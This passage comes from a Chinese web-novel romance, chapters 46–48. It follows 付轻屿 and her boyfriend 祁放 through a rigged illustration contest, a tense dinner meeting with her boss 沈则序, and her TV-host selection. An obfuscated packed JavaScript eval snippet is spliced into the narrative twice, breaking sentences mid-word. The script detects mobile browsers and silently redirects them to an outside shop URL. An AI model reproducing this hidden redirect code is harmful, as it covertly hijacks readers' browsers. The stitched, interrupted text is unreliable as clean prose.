祁放嘴唇微张,呆愣两秒后,把话咽了下去。付轻屿跟家里的关系不太好,虽然她不说,每次提到有关话题时,祁放都能看出来。 哪怕他问了,付轻屿也会转移话题。 没在一起时,祁放就知道付轻屿慢热,不过,这个慢热程度是他没想到的,只有搞颜色坐了火箭。 付轻屿很少提及自己的事,不管是眼下发生的,还是过去经历的。 祁放话多,付轻屿都是接过他的话,就事论事。 “你喜欢我吗?” 祁放突然问出一嘴,付轻屿都怀疑自己幻听了,转过头才发现,祁放眨着两眼等答案。 “当然了。” 祁放心满意足地躺回去,一副‘你说了我就信’的样子。 他的脑回路又撞哪棵树上了?付轻屿看他傻了吧唧地躺旁边,嘴角还勾着笑,也就没管。 46. 46 付轻屿泡在各种资料影片中,为十几天后的主持人选拔做准备。她在书房整理资料,祁放也要窝到书房画画。她去沙发上看影片,祁放就挤过去一起看。 祁放小心思不少,都写脸上,故意亮给付轻屿看似得。在他的认知里,喜欢就要多待在一起,哪怕是吵架了,也得待在一起吵,把事吵开。 主打一个眼皮底下得能看到人,心里才舒坦。 付轻屿由着他,该惯的惯,该管的管。 祁放的想法,说传统也开放,说开放也够保守的。 哪怕一起睡,他都没毛手毛脚过,顶多在付轻屿肩上腰上抱一下,再过,那就不合适了。反过来,付轻屿都上下齐手了,他倒觉得没什么,想着男子汉大丈夫的,给弄两下又不吃亏。 付轻屿打开手机日历,关于陪祁放参加比赛这件事,她做个了提醒,省的自己一不留神忙忘了。 翻看日历,付轻屿才发现,她和祁放在一起快两月了,感觉时间飞逝。 祁放挤在沙发边上,不知道什么时候睡着的。付轻屿转头看他,怎么看怎么稀罕,伸手往人腰上揽了下,害怕他一翻身,滚地上去。 付轻屿动作很轻,拨开他眼前的头发,又把手指放到鼻孔旁试探,试着试着自己就笑了。 笑完,付轻屿突然想跟祁放聊天,把自己剖开了聊,就像祁放那样一股脑把自己倒出来,赤条条的,不加任何修饰的…… 这个想法在付轻屿脑海中停留了将近一分钟,悄无声息地消散不见了。 她做不到。 真要把自己剖开了说,付轻屿不知道该说啥,有些东西说出口,觉得矫情没必要。可是抛去这些‘矫情没必要’,也没什么好说的了。 不知道是心空,还是脑子里架了个防御机制,她开不了口,也不知道怎么开口。 想到最后,付轻屿叹气,还是顺其自然好了。 祁放人不大,倒是过日子的一把好手,上得了天堂下得了厨房,就是厨艺有待精进。 也是这两天,付轻屿才注意到祁放有点小洁癖,还总爱给她的绿植擦叶子,一边擦一边念叨,像在施魔咒。 不知道绿植爱不爱听,付轻屿是被他乐得不行。 在付轻屿这腻歪两天,祁放的心都收不回去了,临走还不忘唠叨插画比赛的事,生怕付轻屿把他忘了。 付轻屿对插画比赛的了解不多。 听祁放讲,这次比赛一等奖有十万奖金,评委都是比较厉害的老师。主办方应该是新起的一批人,没怎么听过,祁放最开始也很犹豫,又想着他们能请到这么多厉害的老师,应该不会有问题。 另外,这次赛制也很有新意。 主办方规定,为抵制AI和临摹等作弊行为,在一周内,参赛选手需完成42小时直播绘画,并上交成品。最后一天进行线下评审,同步直播。 付轻屿听祁放说完,又查了下参赛规则。不得不说,在一定程度上,直播能保证比赛公平,但也像个噱头。 比赛开始后,付轻屿看了直播,可能是她的女友滤镜太厚,感觉祁放拿奖不是问题。 主办方借着直播赚了笔钱,没少收打赏。 比赛第三天,主办方上架观众投票的小游戏,付轻屿就隐约觉得不对劲。一个比赛,出现两种评选机制,最后不好收场,说不准会搞事情。 付轻屿只是猜疑,没说什么,毕竟祁放参赛的劲头正盛,也害怕影响他发挥。 比赛进行到第六天时,大多数选手都已提交画稿,主办方突然宣布了一条规则,观众投票也作为评审标准之一,占二成权重。 比赛途中修改规则是大忌,不少选手跳出来质疑。奈何主办方巧舌如簧,用‘新赛制’‘只占二成权重’‘毕竟投票也是观众的心血’‘画作也需要大众评审’等等说辞,将比赛风向搅和得乱七八糟。 祁放一早完成画作,新增规则后,跟付轻屿讨论了几句,听她一说,越发觉得主办方不靠谱。 评审当天,主办方在线下租了个展台,搞得跟演唱会一样,不仅能看评审,还能买周边,见插画师。 付轻屿作为观众,交了二十元入场费,不禁感叹主办方的商业头脑,怪不得人家能赚钱。 前几天的直播绘画很火,现场有小粉丝,也有凑热闹的观众,几乎是座无空席。 到场的参赛选手不多,差不多有四分之一。 最荒谬的是五位评委老师,两位身体抱恙,未能到场。主办方再次修改规则,专家评审和网络投选按五五开的比例计算最后得分。 此规则一出,有些选手直接离席,不愿再浪费时间。 祁放拉着付轻屿坐到一起,已经不在乎能不能拿奖了,就想看看主办方还能整出什么幺蛾子。 评审到最后,一等奖轮空了。 二等奖有三人,祁放占了一个。 付轻屿不太懂这里面的评审标准,小声问祁放,“这种比赛,奖项轮空正常吗?” 评审规则一改再改,各种骚操作把钱赚够了。低价收作品,花小钱做大事,这买卖真是给他们做明白了。祁放跟付轻屿小声解释,最后按下一句,“这主办方不实诚。” 台上主持人念着结束语,有选手出声质疑,声音太小,完全被忽视了。另外,评审现场还在直播,真闹起来,对自己是利是弊,谁都不好说。 大家见状,只能在底下暗骂两句,宽慰自己算了。 这种事见多后,最初的愤闷都磨没了,只剩麻木无奈,成了泛不起波纹的死水。付轻屿心里暗叹,一个没留神,祁放已经起身站上椅子。 手里没麦,得站的高点才能被台上的评委和主持看到,祁放是这么想的,也就这么做了。 “各位评审老师,还有活动方,我想问一下,这个一等奖的评判标准是什么?二等奖和一等奖的差距体现在哪些地方?” 祁放说第一遍的时候,明显有位评委老师看过来了,也只是看过一眼。 现场环境有些嘈杂,祁放又连着说了两遍,观众的目光被他吸引后,逐渐静了场,台上的评委老师不得不听他说了一遍。 有位坐在最后排的观众,听不清祁放说的话,又怕吃瓜吃不到热乎的,扯着嗓子吆喝:“给小帅哥递个麦,这后面都听不清啊,这么大的活动场,大大方方的,给小帅哥递个麦!” 他这一声吆喝,耳朵不好使的,怕凑不上热闹的,还有瞎凑热闹的,全都跟着搅和。 主持那边骑虎难下,跟评审老师小声说了两句,找工作人员给祁放送麦克风。 工作人员塞过话筒就走,祁放拍了下,根本没声。 付轻屿脑袋里想得太多,手上自然拿过祁放的麦克风。她见过的话筒,没有几百也有几十,调整开关后,又递回去。 直到祁放接过话筒,付轻屿都没想清楚自己做的对不对。 这种活动,不管怎么讲,解释权在主办方手里,只要脸皮够厚,死咬不放,顶多就是被指摘两句的事。再瞧主办方的架势,多半是想干完这票就跑。 付轻屿听祁放又问了一遍,心跟着提起来。比赛确实不公,但这种形势下,一个人对对峙赛制结构、评委、主办方和席上观众…… 几乎没胜算。 台上的人不会低头,台下的人多数是看热闹,最好最好的结果,也就是拿点补偿奖金。 付轻屿知道,这不是祁放想要的。 有些事上,祁放好像太理想化,带着没被生活磨平的那股劲横冲直撞,非要斗个你死我活出来。或许他今天站起来,是觉得做错了就要道歉,就要给个解释,可现实中太多弯弯绕绕,对抗到最后,惹一身灰,全身而退都难。 台上的声音从主持人换到评委,付轻屿听不清他们在说什么。 她想,如果是她的话,或者是在社会磨炼过几年的人,大多会选择不站上那把椅子,而是躲进更舒适的道路,放过自己,何必呢?结果就那样,何必再惹一身伤呢? 可笑的是,祁放站起来的那一刻,付轻屿真心想要他赢,心底那种嘶声力竭的声音,连她自己都压不住。她甚至感觉,她比祁放更想赢下这场对峙。 评委老师给的第一条解释,水准不够,没达到主办方的要求。付轻屿不知道评委拿谁举的例子,只听台下的画手一片唏嘘。 祁放握着麦克风,手也有点抖,但气势还在,既然站起来了,就得说痛快。 “首先,老师举例的作品是画家研磨一个月画出来的。其次,比赛规定42小时作画,我们拿到主题到放笔,都不超过一周。 主办方和各位老师,你们不觉得这个‘标准’有些不合理吗?” 方才解释的评委老师笑了下,“我就是举个例子,一周能画出这个水准的人,也不在少数。” 祁放是勇了点,但不傻。逮着三个评委问破天,也问不出个一二三来,幺蛾子多数出在主办方身上。 “是这样啊,主办方早就有了评选标准,为什么不放出来,也好让我们这些没水准的,知难而退。 还有,比赛的评选规则一变再变,这对我们选手来说公平吗?是不是该给个解释?” 主持人毕竟是拿钱办事,不能说主办方的不好,只能想办法调转话头,“这位选手,你先平复一下情绪,没得奖确实有些遗憾。我们的赛制也是开了个先例,加入直播这项元素,难免会有疏漏,有照顾不到的地方,我相信大家都能谅解,你也先平复一下心情……” “请不要转移话题,”祁放打断他,“我的情绪没有问题,就算有,也是评选规则一变再变激起的,所以请你不要转移话题。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付轻屿神游回来,盯着他看了两秒,什么都没说,拽过人亲了下。 祁放头脑一懵,急忙看看四周,不好意思地说:“你干嘛,这么多人呢,你不是讨厌被别人知道吗?” 付轻屿笑着环视一圈,“没关系,又不认识,大家都离得这么远,没人看我们。” 祁放蹙着眉头笑,这是个什么逻辑?只是不愿意被熟人知道恋爱关系? 付轻屿又逮过他,快速亲了两下。 祁放都傻了,笑着问:“你怎么了?好像没生气。” 付轻屿看他,“我为什么生气?” “我还以为,你又觉得我做事欠考虑。”祁放跟着付轻屿笑,边笑边问,“你想什么呢,笑得这么开心?怎么了?” 付轻屿笑着摇头,其实,她很喜欢祁放身上那股敢横冲直撞的劲。“嗯,也没怎么,就是觉得你更帅了。” 祁放笑了下,转过头压嘴角,没压住,伸手揉了揉鼻尖,“更帅了?” 付轻屿肯定地点头,“刚才帅炸了。” 祁放一手撑在付轻屿肩头,“不行,你给我夸的,腿都软了。” 付轻屿笑:“这么不禁夸?” 祁放没说话,伸手拦住她的嘴,“有人,有人来这边了。” 付轻屿看了眼,确实有两人往这边走。她撤回半步,站好,见人走过才飞快地亲了下。 祁放心都飘了,也不知道该说啥,就抿着嘴傻乐。 付轻屿心情大好,“饿了,带你奢侈一把。” 祁放听安排,跟着付轻屿去吃法餐。 选餐厅没看黄历,一进门就碰到个触霉头的家伙。 沈则序挑眉,“这么巧?” 要不是刚才心情大好,付轻屿现在连笑都笑不出来,“挺巧。” 沈则序一身休闲装,倒有些‘微服私访’的味。付轻屿扫了眼他身边的女生,不是传说中的未婚妻。 沈则序也瞧了眼祁放,自以为默契的没有多问,“他们家咖喱鳌虾还不错,推荐给你。” 付轻屿微微点头,“多谢推荐。” “今天不合适,下次见面聊。”沈则序跟身边女伴保持着不远不近的距离,不显亲密,毕竟不少眼睛盯着他呢。 沈则序走了两步又转头对付轻屿说,“用餐愉快,变色龙小姐。” 付轻屿假笑:“……”神经病吧。 祁放全程没说话,直到沈则序离开才问:“他为什么叫你变色龙小姐?” 付轻屿:“别搭理他,神经病。” 祁放盯着沈则序的背影,脖子上的青筋暴起,这狗男人又是哪蹦出来的? 47. 47 “他是你同事吗?”祁放问,“还是朋友?” “先点这些。”付轻屿将菜单交给服务员,又转过头跟祁放说,“沈则序啊,算个上司吧。满嘴跑火车,不用理他。” 提到沈则序,付轻屿确实没什么好语气,更不想多说。 上司?八成是奇亚的人。祁放观察付轻屿的态度,她好像挺烦那个男人的。 沈则序危险等级降一格。 “烦点好,烦点好。”祁放心里念叨,想着沈则序身边带了个女伴,应该是女朋友。 沈则序危险等级再降一格。 祁放回想沈则序外形,没自己高,没自己帅,没自己年轻,完胜!而且,沈则序不是那种俊美又带点奶的长相,不符合付轻屿之前的审美,大获全胜! 但是,沈则序是付轻屿的上司,应该挺富有的。祁放哼了声,莫欺少年穷! 综合考虑下来,沈则序构不成威胁。 一分钟左右,付轻屿看祁放脸上扭转出各种表情,堪称川剧变脸,最后笑了下,他这神情总算定住了。 付轻屿看得一头雾水,也跟着笑了下。她还没来及开口,祁放先出声:“吃完饭,我们去散步吧。” 夜晚、春风、微醺、散步,付轻屿脑海中突然有了画面,莫名有点浪漫的感觉。 祁放一提,她也欣然接受了。 海鲈鱼是很经典的奶油味,祁放有些吃不惯,太腻了。 甜品巨好吃! 至于其他菜品,祁放不得不承认,沈则序推荐的没错,咖喱鳌虾能拔得头筹。 祁放跟付轻屿喝了点酒,不敢贪多。 上次断片后,不知道出了什么洋相,搞得付轻屿都不理他了。从哪之后,祁放便给自己扣了酒品不行的罪名,不敢多喝,正好他也不爱喝酒。 付轻屿没化妆,脸颊微微泛着红晕,连带额头都透出淡淡的粉色,酒精催发下,反应起了层雾,半点发不出信号。 “咋这么好看呢。”祁放牵着付轻屿,眼睛在她脸上打转,手指蹭了蹭她额头,“鸿运当头。” 春末夏初,晚风透着一丝凉意,扑在脸上正好冲掉酒精的燥热。付轻屿晃晃祁放的手,只是笑,半晌又重复了一遍,“鸿运当头。” 祁放顺着她的视线,摸了摸自己额头,“我也红了呀。” 付轻屿点头,拉着祁放漫无目的地走。 祁放想到什么说什么,“我把银行卡放床边柜了,密码你知道,和手机支付一样。” 吹了一段晚风,付轻屿脱离了微醺的状态,反应跟的上,“我替你存着?” “买房用。”祁放脑子里想的可多,“你不是要买房吗?那我肯定得给自己买块地啊,省的你哪天让我收拾东西滚蛋。” 付轻屿笑:“我就这么愿意让你滚蛋?” 祁放:“谁知道你呢,我可得给自己做打算。钱也不多,不到二十万,反正你得给我弄个地。” 付轻屿看祁放顶两个红脸蛋,又一副认真的模样,怪可爱的。“你这不是强买强卖吗?” 祁放犟:“我可不管,反正你那,得有我的一块地。” 付轻屿哭笑不得,“我这都是你的地。” “你就会说这些好话。”祁放嘴上嫌弃,其实美得不行,大眼都快笑没了。 “等等吧,不着急买。”付轻屿说,“买大了怕空,买小了怕不够你折腾。” 祁放笑着反驳,“我不折腾。” 付轻屿:“你还不折腾?” “你看,你心里肯定嫌我折腾。”祁放顺杆爬,被付轻屿踢过一脚就老实了,又偷偷跟她说,“其实,我还给自己留了一万。” 付轻屿一分钱都没想要,也不差这点,只是配合着逗他两句,“一万够吗?” 祁放挺起胸脯,“够啊,肯定够,完全是财富自由了。” “一万就财富自由了?” “手机、电脑、数位板、数位屏……”祁放列举了一堆东西,“想要的都有了,还有一万块,妥妥的财富自由啊。” 付轻屿试图理解祁放的脑回路,最后还是笑着投降,“以后,还会有其他想要的东西。” 祁放无所谓道:“以后也会赚钱,以后的事情,以后再说嘛。” 付轻屿听着,明显感觉他的脚步慢下来。 “咳。”祁放看向路旁花店,故意放慢脚步,也不说话,变着调的咳。 “买买买,你别把肺咳出来。”付轻屿拉着人往店里走,大手一挥,“喜欢什么,挑吧,都买。” 祁放也不懂花,就是想要,听付轻屿说完,五颜六色地选了一把,捧着花,跟捧了个调色盘一样。 花店紧挨着一家无人售货用品,付轻屿将祁放拉进去,还是大手一挥,“喜欢什么,挑吧,都买。” 祁放傻站在门口,活像老鼠掉进猫窝,整的人都傻了。他抱紧花,转头看付轻屿,结巴道:“你、你是不是喝傻了?” “没有啊。”付轻屿围着展柜看,扫码买了盒东西,转头揣兜里,“没有想要的吗?” 祁放站在门口,离得远。展柜里的盒子,远远看包装,也看不出是什么东西。再说,他也不懂这些玩意啊! “真没有喜欢的啊?过了这村……到下个村再说。” 祁放摇摇头,没说话,心想付轻屿都买了,又在这逗他。 走出店门,祁放又忍不住问:“你买的什么?” 付轻屿指了指店面,“趁着还没走,你去看一眼就知道了。” 祁放一扭头,“不想知道。” “行吧。”付轻屿也不说,故意逗他。等到家,祁放绝对会把她兜里的东西翻看个明明白白。 两人轮流捧着花到家,进门了,想起来没花瓶了。 祁放找来几个矿泉水瓶,洗洗涮涮,开始插花。 付轻屿陪他摆弄半天,将外套脱在沙发上,先去洗澡。 祁放歪头看向浴室,听里面传来水声,一个打滚从地上爬起来,窜到沙发旁,在外套兜里左掏掏右掏掏,拿出一个烟盒样的东西。 “零酒精、零香精、零防腐剂……”祁放拿着盒子看了半天,终于找到了两个关键字——指.套。 要做了?这是要做的意思吧? 祁放脑袋里七上八下,心脏快要炸开花。不行不行,这太突然了,是不是得准备点啥? 祁放急地站起来打转,指.套都买了,事前工具肯定也买了,应该有说明书吧?之前查的那些,都快忘干净了,怎么弄啊? 花也不插了,祁放拿起手机,翻箱倒柜地搜教程,一篇篇文章就跟天书一样,每个字都在眼前扭呀扭,就是不进脑子。 祁放划拉手机屏幕,手直哆嗦,高考查成绩都没现在紧张。 紧张片刻,可能是肾上腺素飙过头了,祁放突然反应过来,不对啊? 他着什么急? 付轻屿都没着急呢,他着什么急? 羞耻将紧张吞噬掉大半,祁放看着手里的小盒子,急忙揣回付轻屿的外套里。 “皇上不急太监急。”祁放坐回地上插花,“呸呸呸,什么太监。” 付轻屿洗漱完,站在客厅环视一遭,没见祁放。 茶几上摆着六七瓶花,弄的挺有艺术感。她走上前,俯身瞧了瞧花,又抬眼看向沙发,外套被翻过。 付轻屿买指.套回来,就是给祁放拉个心理预警,让他知道迟早要做。 不过,她也没说今晚就做啊。 不会跑了吧? 这个念头还没等落地,祁放从卧室走出来,“你洗完了呀?” 想多了,祁放看着挺淡定的,完全没有要跑的意思。付轻屿心想:“早就知道的事,祁放有什么好退缩的,这就是正常反应吧。她没主动提,祁放更不可能主动要啊。” 付轻屿嗯了声,摸着祁放弄的花,“挺好看。” 祁放自卖自夸:“我出手,肯定好看啊。” 付轻屿拎起外套,随口说:“去洗澡吧。” 祁放一听,又看她拿外套,感觉这暗示就很明显了——清洗的东西在浴室。 没别的话了吗? 祁放原地打了个转,又看向付轻屿,眼神问:“不叮嘱两句怎么弄吗?” 两人四目相对,付轻屿疑惑:“不洗吗?不洗,不能上床。” 绝对是故意的!付轻屿故意不提,就等着他自己问呢。祁放自以为看透一切,气呼呼的,转头进浴室了。他才不会上赶着问! 付轻屿满脑袋问号,无奈笑了下,洗个澡又气啥呢? “用我帮你洗吗?”付轻屿经过浴室门口,故意问了句。 祁放炸毛似地喊了声,“不用不用!你少烦人!” 付轻屿笑着回卧室,将指.套丢在床边柜时,真看到了一张银行卡。看着看着,她笑了下,将抽屉合上,“整天冒傻劲。” 最后一个抽屉拉开,只有几瓶没拆封的洗护用品。祁放将浴室翻了个底朝天,起身环视一圈,甚至抬头看了眼天花板,都没有清洗工具。 不是要做的意思吗? 祁放疑惑地关好柜门和抽屉,指.套都买了,还有付轻屿刚才说的话,不是要做的意思吗? 啊!居然不是要做的意思吗?! 白费半天力气,祁放气势汹汹地打开花洒洗澡。洗到一半,他抿掉脸上的水,两手叉腰,被自己气笑了,“不是?我很想做吗?难道是我很想做吗?拜托,一点都没有好吧。是付轻屿先挑起的话题,OK?” “我,我哎,我一开始都不能接受这种方式哎,是付轻屿喜欢这样做,我才慢慢接受的,难我道很喜欢吗?根本就没有好吧。你知道吧,是付轻屿更喜欢这样做?是她更喜欢我,是她更想跟我这样做!”祁放对着花洒,一副谈判的架势,“付轻屿不想做吗?不是!她凭什么不想做!” 祁放伸手擦掉镜子上的水汽,上下左右反复检查自己的脸,“还行啊,不是说更帅了吗?还说我帅炸了。” 祁放低头看了眼,想起不对,又转头看了眼,“这也挺……挺翘的吧?是身材不够好?” 付轻屿都不对他上下其手了! 想起这来,祁放拍了下心口,最近没时间健身,但胸肌还在啊,付轻屿怎么都不玩了? 祁放一边审视自己,一边抱怨,“女人!新鲜感这么快就没了!这就没兴趣了是吧?喜新厌旧,可恶!” 洗到最后,祁放感觉自己脑子洗进水了。 付轻屿坐在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966578|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上看手机,祁放人没进门,声音先传进来了,“付轻屿,你还喜欢我吗?” 付轻屿哪知道祁放在浴室跟自己打了架,只是纳闷,他洗澡怎么还洗出一身火气来。 “喜欢啊。” 祁放双手扯着浴袍,“我帅吗?” 这是脑子洗进水了?付轻屿憋着笑,认真点头道:“帅。” 屁股呢?算什么……翘吗?祁放实在难以启齿,只好问了句,“身材好吗?” 付轻屿依旧配合他点头,“好。” 祁放看着她,半天憋出句,“烦人。” 付轻屿哭笑不得,“快去吹头发,顺便吹吹脑子。” “你烦人!”祁放丢下句话,跑出去吹脑子。 躺回床上,祁放故意把付轻屿往怀里带。 付轻屿满脑子都是主持人选拔的事,贴在祁放胸口,没一会就睡着了。 祁放生气,反应过来自己为什么生气,又羞耻的头皮发麻,最后狠狠亲了两口付轻屿的头发,才消停睡觉。 直播绘画的事,在网络上引起一阵骚动。 祁放对峙主办方的视频,流传甚广,小火了一把。 不少人发视频,借此事件,加以分析解剖,夸夸其谈,上升到各种问题。 随之而来的是隐私泄露。 祁放的出生地、学校和电话号码等信息,几乎被网友摸索透了。 各种骚扰信息铺面而来,祁放无奈更换了电话号码。 不仅是网上,祁放甚至成了学校的小红人,身边的朋友老师都知道。甚至,还有媒体要做采访,整的祁放有两天很烦燥。 有一点,付轻屿和颜泠没说错,这种情况没超过两周,渐渐地、悄无声息地消失在大众视野,被新一轮信息覆盖。 上课、模特拍摄和学校活动,各种事赶到一起,祁放根本脱不开身。 付轻屿忙着主持人选拔的事,两人二十多天没见上面,长袖都换成短袖了。 主持人选拔的录制现场在永安,祁放查了下车票,从江城过去,快车差不多一个半小时。 初选录制结束正赶到周六,祁放订好车票,给付轻屿发消息说了声。 付轻屿录制时拿不到手机,祁放没等她回消息,自己摸着地址找过去了。 录制场外很安静,祁放收起伞,在演播厅外的大门口等。门口保安拦着,不像付轻屿上一份工作,能走个人情进去。 雨声忽大忽小,手机一直很安静,祁放等了一个多点,大门内开始传出窸窸窣窣的声音。 祁放透过玻璃往里看,男男女女走出不少人,有喜有愁,没见付轻屿。 久久看不见人,祁放心里着急,可又冲不进去。正抓耳挠撒时,手机响了。 “你在哪呢?” 异口同声一句话,付轻屿语气轻松,祁放却火急火燎的。 祁放:“我在大门口,大家都往外走呢,没看见你啊。” 付轻屿语气疑惑,“我就在大门口啊,你在哪?” 祁放四处瞧着,脑海中浮现出千百种可能,连异时空的设定都想出来了。 “你在哪呢,我看不到你啊?还有别的大门吗?你别吓我。” 听他声音发抖,付轻屿笑着说:“逗你呢,我这才出去。” 祁放松一口气,“你吓死我了。” “先挂了,一会儿说。” 付轻屿话里带着笑意,看来初选很顺利。她不爱提工作上的事,就算祁放问起来,也是挂在嘴边的几句‘还好’‘睡眠不太够’‘也不是很累’,再问,她就开始扯别的话题。 祁放能感觉到,付轻屿压力还挺大的,就是不愿往外说。 “买伞吗?买一送一。”祁放把伞往外一递,轻声说道,“买伞送帅哥。” 付轻屿左右看看,“帅哥在哪,先验验货?” 祁放还没说话,有人唤了付轻屿一声。 循声看过去,是个女生,留着齐肩短发,整体形象很干练。下一场双人主持,她和付轻屿是队友,比赛截止到目前来说,两人关系还不错。 短发女生扫了眼祁放,笑着问付轻屿:“男朋友?” 付轻屿笑了下,“表弟。” 短发女看了看两人,“确实有几分像,你们家这基因蛮优秀的。” 什么基因优秀? 这是夫妻相!祁放不喜欢‘表弟’这个身份,上次吵完,他不喜欢也接受了。 付轻屿笑笑,“过赞了。” “关于比赛的事,微信联系。”短发女稍微点头,“我先走了。” 祁放刚想开口,紧接着走过来一个眼中钉。 沈则序吊儿郎地说:“表现很棒,看好你呢,下期继续加油。” 付轻屿简单笑了下,敷衍道:“多谢小沈总。” 沈则序扫了祁放一眼,又看向付轻屿,意味深长地留下句,“时间可不短了。” 祁放这才注意到,沈则序身边的女生,不是上次餐厅见到的。 祁放没记清长相,但今天这个女生比沈则序都高出一头皮。从身高来看,绝对不是一个人,哪怕打生长激素,也窜不了这么快啊。 沈则序怎么在这?还有他最后那句话,什么意思?! 48. 48 ‘时间可不短了?’祁放满脑子都是这句话。 沈则序看付轻屿的眼神,一点也不像上下级,倒像看猎物一样。祁放越想越气,都是男人,他能看不懂沈则序那点小心思? 什么意思,当面抢人? 祁放夸个小脸,撑开伞,递给付轻屿。 付轻屿看看头顶的伞,又看向伞外。祁放撇着嘴,胳膊伸出二里地,生怕跟她站在一起似得。 付轻屿无奈笑了下,给祁放拉到伞下,“奇亚是投资方,沈则序又是他们家小少爷,你就当他过来视察工作吧,挺烦人了。希望他再也不要来。” 祁放听完,心情荡上去不少,想了想又问:“他影响你录制了?” “没有,就是看他心烦。”付轻屿说,“见到你就好了。” 祁放手指抵在唇前,小声道:“嘘嘘嘘,说啥呢?这是外面,咱俩什么关系,能说这话吗?” 付轻屿锤他一拳,“你还演上瘾了是吧?” 祁放哼声,故意道:“我这不是为了配合你嘛。” 这话听着欠揍,付轻屿使劲在他侧腰掐了两把。 初赛结束,到晋级赛录制,中间有六七天的休息时间。主办方提供了宿舍,付轻屿不喜欢和别人住,离家又近,来回不到三个小时,回家还能见到祁放,完全没理由住下。 只是没想到祁放自己跑来了。 来都来了,祁放在永安找了家饭店,两人吃完饭才回江城。 一路上,祁放总是问初赛的事,付轻屿想了圈,实在不知道讲什么。她问祁放想听啥,得到的回答就三个字,“都想听。” 付轻屿思索半天,讲了个自己比较开心、也比较惊奇的事。 付轻屿报考主持专业,是个很突然的决定,搭进十八年勇气,做了最冒险的选择,也是她送给自己的成人礼。 高三复读那年,校长为了给学生加油打气,请毕业工作的师哥师姐回校做演讲。 演讲换汤不换药,都是个人励志故事勾兑鸡汤。 有一位师姐叫晏清,做过记者,是名主持人。同样的麦克风,握在她手里,仿佛成了镇台宝剑,让人移不开眼睛,挪不开耳朵。 演讲内容早已模糊,有几句话,付轻屿记得很清楚。晏清说:“人生就像主持,掌握节奏、应对变化、连接他人。 主持人手握麦克风,脚踩舞台,要掌控整场节目,迎接并欢送每一位嘉宾,当然可以选择不同的方式。 请享受掌控的感受,但请不要忘记这是个开放的舞台。 每位‘小主持人’,你掌握自己的话语权了吗?” 是否真正成为了自己人生的主导者? 付轻屿讲到这时,淡淡笑了下。她当年并没理解这些话,只是被‘掌控整场节目’‘掌控自己的话语权’这些字面意思栓牢,迫切想要挣脱家庭,挣脱母亲的控制,逃到一个看似自由的地方。 付轻屿毅然决然地选了主持专业,想着挣脱所有,掌控自己的一切,把那些阻碍狠狠踩在脚下,铺一条五彩斑斓的路。 选了主持专业后,付轻屿才意识到现实并不理想,让人闭嘴的方式千千万,真心开口只能靠自己。 话语权可不是那么好掌握的。现在想来,那场演讲不只是晏清对她们的发问,更是她对自己的反问。 在付轻屿大一结束的那年夏天,晏清传出一场当三丑闻,真假不知。自此之后,她淡出人们的视线,转为幕后制作人。 这次选拔的制作人就是晏清,再次见面,单看外貌,岁月并没有在她脸上留下多少痕迹。 因为是校友的关系,晏清还和付轻屿搭了几句话。付轻屿看她一切都好,只是隐约感觉有些空,少了当年的意气风发。 第一次听付轻屿讲自己的事,祁放全神贯注,甚至有些小心翼翼,“见到以前的榜样,内心很复杂吧。” 付轻屿点头,“看她一切都好,自己好像也松了口气。” “是啊。”祁放握着付轻屿的手摇晃,“还有别的吗?其他选手怎么样啊,你再多说点。” “其他选手都很厉害,”付轻屿浅笑,“不说了,累嗓子。” 考虑到嗓子和比赛,祁放急忙拿出瓶水给她润嗓子,也不让人多说了。 回到家,付轻屿忙着打电话,晋级赛是双人主持,需要跟队友商量主题之类的事项。 祁放洗漱完,扒开书房门瞧了眼,付轻屿一手揉着太阳穴,电话还没挂断。 队友亦是对手,要保证晋级,还要凸显个人特色,不是件容易事,付轻屿想的头疼。 祁放没出声,轻轻关上门,自己回卧室画稿。 见过沈则序两次,一想起他来,总感觉心有余悸。祁放在搜索框打入‘奇亚沈则序’,找出不少介绍。 沈则序毕业于伦敦大学,奇亚集团幼子,两家娱乐公司的董事,名下有一个赛车俱乐部,受邀参加过许多秀场等等。 履历熠熠生辉,同样精彩的,还有沈则序的各种绯闻,国内国外都有,名副其实的花花公子。 沈则序年前就已经订婚了。 结了婚都能离,订婚也可以取消婚约。 祁放眼神空洞,看着屏幕上的介绍,胸口发麻,嘴里能砸吧出酸水。 付轻屿说过很烦沈则序……想法是会变的,接触多了,时间长了呢? 祁放不喜欢和人比较,也知道人和人之间没什么可比性。但他的大脑不受控制,就像被架到某个框架内,反复对比自己和沈则序。 结果更是显而易见,除了感情生活干净外,无论是身份地位金钱权利,他都比不上沈则序。 祁放不得不承认,付轻屿身边围着一条虎视眈眈的饿狼,自己多出一个强有力的竞争者。 关闭搜索页面,祁放没心思画画,坐在床上发呆。 这次选拔对付轻屿很重要,难免会产生压力,祁放都能看出来。他本来就帮不上忙,更不能因为这点小事影响付轻屿。 情绪憋着,祁放说不清道不明的难受,感觉心里有块地方空落落的,怎么想都不踏实。 他害怕了,以前面对冯适和年燧,更多的是愤闷,而现在是恐惧。不管是模特还是主持人,事业发展上,他帮不了付轻屿,但沈则序可以。 等到凌晨十二点多,付轻屿才从书房出来,洗漱护肤,拖着身子回卧室。 听见开门声,祁放停笔,边存档边说:“忙完啦。” 付轻屿一个脑袋三个大,只想抱着祁放睡觉,“怎么还没睡?” “画着画着就到现在了。”祁放归置好手里的东西,面色如常,没有散发出一丝不好的情绪。 付轻屿点点头,实在不想开口,躺上床抱住祁放,才感觉松了股劲,又困得不行。 祁放被付轻屿抱住的瞬间,甚至有些僵硬,他不擅长憋着情绪自己消化。 还好付轻屿并没发现异常。 祁放躺好,像往常一样抱住付轻屿,轻声说:“头疼吗?我给你按一下吧。” 付轻屿埋在他胸前摇头,“这样就好,快睡觉吧。” 